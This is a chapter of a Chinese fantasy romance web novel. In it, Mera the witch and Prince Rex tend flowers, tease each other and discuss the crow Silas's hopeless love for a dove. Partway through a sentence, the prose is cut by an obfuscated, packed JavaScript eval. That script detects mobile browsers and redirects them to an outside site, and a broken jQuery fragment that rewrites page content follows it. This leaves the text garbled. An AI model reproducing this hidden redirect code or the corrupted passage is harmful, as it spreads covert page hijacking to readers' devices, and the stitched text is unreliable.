同样的午后,同样站在排列整齐的花盆前,莱克斯提着水壶仔细地控制着浇入花盆的水量,梅拉则跟在他身后,弯着腰,挑起面前粉色的花苞逐一进行查看。
透过尚处于闭合状态的薄如蝉翼的花瓣,能看见其中被掩藏起来的影影绰绰的花蕊,看样子似乎很快就能迎来这一批粉红烟管花盛开的日子。
换做平时,梅拉一定会为此感到高兴不已,然而现在,梅拉却对着长势喜人的花苞长长地叹了口气。
见莱克斯没有如预料中的那样搭话,梅拉只好重新重重地叹了口气。
其实猜到梅拉想说什么,所以故意不搭茬的莱克斯:“……怎么了吗?这花有哪里长得不好吗?”
“不是花的问题,是塞拉斯的问题。”梅拉着重强调。
“自从它第六十七次接近百合小姐失败,已经整整两天没有回来小木屋了。”
梅拉认为可怜的塞拉斯一定是彻底受到打击,从此一蹶不振了。
“如果这两天按时回来吃晚餐,吃完又飞走也算没回来过的话。”莱克斯面无表情地补充。
这也是他丝毫不像梅拉一样担心塞拉斯的原因。
莱克斯觉得,塞拉斯这两天之所以躲在外头不愿意回来,大概是因为觉得太丢脸的缘故。
不过饭还是要吃的。
一到饭点,塞拉斯便会准时飞回来,对着碗里新鲜出炉的食物大快朵颐。
而吃完晚餐再当着梅拉与莱克斯的面飞走,也许是它试图维持自尊的最后的倔强。
莱克斯想,大概过不了多久,塞拉斯就会恢复元气,精神抖擞地重新露面。
更何况,“这次的打击其实对塞拉斯来说或许是件好事呢?至少帮助它认清了现实,不再试图追求永远不会回应它的对象。”
莱克斯从理智的角度分析到。
“听起来,你是觉得塞拉斯应该放弃这段感情吗?”梅拉问。
“在被心上人拒绝后,仍要继续纠缠的行为实在不属于一名贵族应有的风度。”每当莱克斯不想要回答某个问题的时候,他就会搬出格外冠冕堂皇的说辞。
莱克斯也说不清自己此刻是什么想法,只是下意识的觉得不能就这么向梅拉坦白。
有时候梅拉心情好,倒也随便莱克斯就这么糊弄过去,但现在,梅拉非要打破砂锅问到底,“谁要听你说这些,你只要说你心里到底是怎么想的就行了。”
莱克斯:“……”
好吧。
“我是这么想的没错。”莱克斯承认了。
“倘若换做是我,我是绝对不会像塞拉斯一样坚持追求一个屡屡拒绝自己的人的。”
在莱克斯看来,塞拉斯早该放弃了。
世人往往喜欢把这种不必要的执着称之为浪漫,许多传世的诗篇中,也有不少专门歌颂坚持就能获得真爱的故事。
然而骄傲如莱克斯,从来不屑于捧上一颗真心,任所谓的心上人三番五次地弃如敝履。
他宁可收回这份爱,也绝不要沦落到摇尾乞怜的地步。
“总觉得一旦你哪一天被心上人拒绝了,一定会做出比塞拉斯还要不可理喻的事情。”梅拉幽幽地道。
“不过,”不等莱克斯反驳,梅拉又道,“反正那也是你离开这里之后的事情了。”
毕竟这座黑暗森林里除了梅拉之外,暂时也没有别的女人了。
哪像在王宫里,永远有身份高贵的贵族小姐穿着华丽的衣裙,化着精致的妆容,出现在莱克斯的视线之中,羞答答地喊他一声——
“王子殿下。”
梅拉说着,自己都忍不住笑了起来。
“小心——”莱克斯眼疾手快地伸手,拉了梅拉一把,否则她差点就要整个人以蹲着的姿势往后栽去。
这下梅拉倒是站了起来,只不过却是直接扑到了莱克斯的怀里,嗅到了他身上干净的皂香。
十七岁的少年,距离成年的日子不再遥遥无期,甚至早已近在眼前,所以衣服包裹下的身躯自然是成熟的、覆盖着柔韧而富有弹性的肌肉。
甚至让梅拉撞得鼻子有些疼。
同样,莱克斯的鼻尖也充斥着属于梅拉的气息,草药的味道裹挟着女性独有的温暖馨香,以至于他竟然有一瞬的失神。
“莱克斯,”梅拉忽然喊他的名字,“我们是不是又该拜托杜克瓦托买肥皂了?”
梅拉非常严肃地道。
毕竟以梅拉日常粗心的程度,裙子上总是难免沾上大小不一的深渍,如果没有肥皂的话,是绝对洗不干净这些渍点的。
“……上个月买的那块肥皂是快用完了。”
莱克斯回过神,松开了梅拉。
本来他正打算过几天和梅拉说这事,既然现在她主动提及,倒是省去了莱克斯提醒的功夫。
只不过发生了这样一个小插曲,哪怕梅拉看起来并不在意,莱克斯还是忍不住把话题转回塞拉斯身上,仿佛这样就能忽略掉心底不该有的情绪。
“……说起来,就算塞拉斯得偿所愿,这段感情应该也不会长久的吧?”
见梅拉看过来,莱克斯补充道,“毕竟它不可能和塞拉斯交流,不是吗?”
这也是之前莱克斯说,那位百合小姐不可能会回应塞拉斯的原因。
塞拉斯是奇迹,是世上唯一一只能说话的乌鸦,它能有来有往地和梅拉与莱克斯交流,就证明它有不输于一般人的智慧。
而百合小姐,却只是一只普普通通的白鸽,它听不懂塞拉斯嘴里说的是什么,它发出的咕咕声也无法被塞拉斯所理解。
因此,莱克斯认为塞拉斯的这段感情完全是它一只鸟的一厢情愿。
这样就更不应该继续下去了。
否则当塞拉斯终有一天意识到,它永远无法与恋人心意相通,受到的打击只会比现在更大。
“按照你的说法,塞拉斯如果需要找一个能够交流的恋人,那它大概只能喜欢人类了吧。可是,”梅拉轻轻地抚平因为刚才的动作所导致裙子上出现的褶皱,“会有人能接受自己和一只乌鸦相爱吗?”
闻言,莱克斯沉默了。
他突然意识到,塞拉斯在这个世上其实是孤独的。
在其他鸟的眼中,塞拉斯说着和人类一样古怪的语言;但是在人类的眼中,塞拉斯只是一只过分聪明的鸟而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905770|172386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已。
那么,梅拉呢?
她又何尝不是孤独的。
和其他生下来就注定了身份的女巫不同,梅拉曾在人群中生活了十几年,她也习惯了这样的生活,然而,因为后来成为了女巫,又不幸暴露了身份,她不得不带着塞拉斯离群索居。
假如当初莱克斯没有选择闯入黑暗森林,那么梅拉是不是还要带着塞拉斯,继续过着这样的日子?
这样,除了偶尔造访的杜克瓦托之外,再也没有其他可以说话的人的日子。
想到这,莱克斯忍不住去观察梅拉的眼睛,试图窥探她藏在那片绿色湖泊下的真实的内心。
梅拉到底是怎么想的呢?
夜深人静的时刻,她偶尔也会感到寂寞吗?
“嗯?你在看什么?”
注意到莱克斯的视线,梅拉好奇地凑上来,和莱克斯近距离地对视。
反倒是莱克斯吓得连连往后退了好几步。
“怎么了?不是你想要看我的眼睛吗?我主动凑上来,你怎么还往后退呀?”梅拉笑吟吟地反问,眼里是明晃晃的戏谑。
她就是故意在逗弄莱克斯呢。
见状,哪怕明知道是怎么一回事,莱克斯还是忍不住露出有些古怪的表情,“我已经十七岁了,”他强调到,“你是不是还觉得我是当年那个孩子?”
否则怎么会觉得不需要和他保持一个男人与一个女人之间应有的距离?
“我知道啊,”梅拉语调轻松,打量的眼神飞快地扫过莱克斯的喉结,不断往下,“假如没到十七岁的话,应该也不会有这么一具漂亮的身材吧?”
“我刚才有好好地感受到喔,是非常结实的肌/肉,看来这些年的锻炼没有白费。”
梅拉用带着调侃的口吻强调道。
然后莱克斯的耳朵就以一种肉眼可见的速度飞快地变得通红起来。
“梅拉!”
莱克斯难得带着些许怒意喊了梅拉的名字。
梅拉歪头,一幅完全不担心莱克斯会拿她怎么样的态度。
见到她这副模样,莱克斯心中的怒意真的盖过了羞意。
“梅拉!”
这回喊话的是匆匆忙忙飞回来的塞拉斯。
它的出现打断了空气中若有若无浮动的粉色气息。
塞拉斯忽略掉莱克斯的存在,一股脑地往梅拉的怀里扑去。
“塞拉斯,你这是怎么了?怎么翅膀上又掉了不少的羽毛?难道说,你又和哪只鸟打架去了?”
梅拉吃惊地打量着怀里的塞拉斯。
只见它虽然身上带着伤,脑袋却昂得高高的,一派神气得不得了的样子。
“哼哼。”塞拉斯高兴地哼哼了两声。
“你猜的没错,我是和别的鸟打架去了,但我这回可是有原因的。”
和上次偷窥别的乌鸦小夫妻被揍可不一样。
“这一次,我是为了救百合小姐才挺身而出的!”
塞拉斯兴高采烈地抛下这么一个重磅的消息。
“啊?”
塞拉斯的话引得梅拉与莱克斯面面相觑,一时间脑袋上顶了两个问号。